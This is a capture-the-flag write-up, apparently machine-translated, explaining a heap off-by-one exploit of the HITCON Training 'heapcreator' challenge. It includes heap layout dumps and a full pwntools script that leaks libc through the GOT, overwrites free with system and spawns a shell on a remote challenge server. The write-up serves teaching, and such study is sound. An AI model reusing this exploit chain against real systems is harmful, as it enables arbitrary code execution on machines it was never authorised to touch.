buuctf hitcontraining_heapcreator HITCON Trainging lab13

This question is available on the wiki. In Chunk Extend and Overlapping, I personally think this question is easier to understand for people like me who are just starting to learn heap. Drag
into the IDA
create_heap function:

Insert picture description here
It is worth noting that he will have two mallocs here, that is, if you apply once, he will create two chunks. The first chunk is 0x20 in size, which can be regarded as a record. The size and pointer of the second chunk are stored. At the same time, the address pointer of the first chunk is stored in the bss section, and the heaparray array is here:
Insert picture description here
This may not be very clear. I applied for Create a Heap twice, both of which are For a chunk of 0x20 size, the first stored data is "aaaa", and the second stored data is "bbbb". In this way, the layout of the heap is like this:

0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030 (chunk0 size and pointers)
0x603020: 0x0000000000000000 0x0000000000000021 (chunk0)
0x603030: 0x0000000a61616161 0x0000000000000000 ( "AAAA")
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000010 0x0000000000603070 (chunk1 size and pointers)
0x603060: 0x0000000000000000 0x0000000000000021 (chunk1)
0x603070: 0x0000000a62626262 0x0000000000000000 ("bbbb")
0x603080: 0x0000000000000000 0x0000000000020f81 (top chunk)
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000

Just look at this layout and there is something to do, continue to look at the following function
edit_heap function:
Insert picture description here
you can see that there is an off-by-one vulnerability,
show_heap function:
Insert picture description here
delete_heap function:
Insert picture description here
note that here is the two chunks previously applied for All are free.
Next is the process of solving the problem. For the basic idea, the wiki says this:
1. Use the off by one vulnerability to overwrite the size field of the next chunk to construct a fake chunk size.
2. Apply for forged chunk size to generate chunk overlap, and then modify the key pointer.

Let's look at the script in detail:
First, create four, write "/bin/sh" in the fourth, and you will use it later

create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')

0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030 (chunk0 size and pointers)
0x603020: 0x0000000000000000 0x0000000000000021 (chunk0)
0x603030: 0x0000000a61616161 0x0000000000000000 ( "AAAA")
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000010 0x0000000000603070 (chunk1 size and pointers)
0x603060: 0x0000000000000000 0x0000000000000021 (chunk1)
0x603070: 0x0000000a62626262 0x0000000000000000 ("bbbb")
0x603080: 0x0000000000000000 0x0000000000000021
0x603090: 0x0000000000000010 0x00000000006030b0 (chunk2 size and pointer)
0x6030a0: 0x0000000000000000 0x0000000000000021(chunk2)
0x6030b0: 0x0000000a63636363 0x0000000000000000 ( "CCCC")
0x6030c0: 0x0000000000000000 0x0000000000000021
0x6030d0: 0x0000000000000010 0x00000000006030f0 (chunk3 size and pointers)
0x6030e0: 0x0000000000000000 0x0000000000000021 (chunk3)
0x6030f0: 0x0a68732f6e69622f 0x0000000000000000 ( "/ bin / SH")
0x603100: 0x0000000000000000 0x0000000000020f01 (top chunk)
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000

Note that chunk0 applies for a size of 0x18, but what actually gets is a chunk of 0x20. Therefore, the prev_size field of the next chunk will be used when writing data, that is, the place from 0x603040 to 0x603048, and because of the off-by -One vulnerability, we can modify the data at 0x603048, that is, modify the size of this chunk

edit(0,'a'*0x18+'\x81')
delete(1)

Here we change the data at 0x603048 to 0x81, and then free

size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)

Because we changed 0x603048 to 0x81 earlier, when applying for a size of 0x70 here, the actual chunk size required is actually 0x80. Therefore, the chunk applied for here is the part that was previously freed. Do the previous step and this step. After that, it may be more difficult to understand what is the meaning of doing this and what effect
is achieved. In fact, it is obvious to list the data at the chunk:

0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x6161616161616161 0x6161616161616161
0x603040: 0x6161616161616161 0x0000000000000081
0x603050: 0x6464646464646464 0x6464646464646464
0x603060: 0x6464646464646464 0x6464646464646464
0x603070: 0x6464646464646464 0x6464646464646464
0x603080: 0x6464646464646464 0x6464646464646464
0x603090: 0x0000000000000008 0x0000000000602028 (free_got)
0x6030a0: 0x0000000000000000 0x0000000000000021 (chunk2)
0x6030b0: 0x0000000a63636363 0x0000000000000000 (“cccc”)
0x6030c0: 0x0000000000000000 0x0000000000000021
0x6030d0: 0x0000000000000010 0x00000000006030f0 (chunk3 size and pointers)
0x6030e0: 0x0000000000000000 0x0000000000000021 (chunk3)
0x6030f0: 0x0a68732f6e69622f 0x0000000000000000 ( "/ bin / SH")
0x603100: 0x0000000000000000 0x0000000000020f01 (Top the chunk)
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000

Since the data of 0x603050-0x6030c0 can be edited at will, we can control the data in this area. The most important thing is that we successfully modified the pointer of chunk2 at 0x603098. We can use this pointer , Output the content at any address, you can also rewrite the data at any address, that is, it realizes the function of reading and writing at will.
So for a beginner like me, it may still be a bit embarrassing, combined with the actual operation below, it should be It is not difficult to understand:

show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))

Executing show(2), he will output the contents of the chunk2 pointer, and we have changed the chunk2 pointer to free_got, so we leaked the address of free.
Then we calculated the address of the system function:

libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")

What we did in the previous step was to read any address. Next, we need to use this pointer to rewrite any address. For example, we change the address of free to the address of the system function, and then because the data at chunk3 is "/bin/ sh", when free(chunk3) is executed, system("/bin/sh") is actually executed:

edit(2,p64(system_addr))
delete(3)
sh.interactive()

The complete exp is as follows:

from pwn import *
from LibcSearcher import LibcSearcher
sh=remote("node3.buuoj.cn",25984)
elf=ELF('./heapcreator')

def create(length,value):
	sh.recvuntil("Your choice :")
	sh.sendline("1")
	sh.recvuntil("Size of Heap : ")
	sh.sendline(str(int(length)))
	sh.recvuntil("Content of heap:")
	sh.sendline(value)
def edit(index,value):
	sh.recvuntil("Your choice :")
	sh.sendline("2")
	sh.recvuntil("Index :")
	sh.sendline(str(int(index)))
	sh.recvuntil("Content of heap : ")
	sh.sendline(value)
def show(index):
	sh.recvuntil("Your choice :")
	sh.sendline("3")
	sh.recvuntil("Index :")
	sh.sendline(str(int(index)))
def delete(index):
    sh.recvuntil('Your choice :')
    sh.sendline('4')
    sh.recvuntil('Index :')
    sh.sendline(str(int(index)))

create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')

edit(0,'a'*0x18+'\x81')
delete(1)

size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)
show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))

libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")

edit(2,p64(system_addr))
delete(3)
sh.interactive()

Guess you like

Origin blog.csdn.net/weixin_45677731/article/details/107914807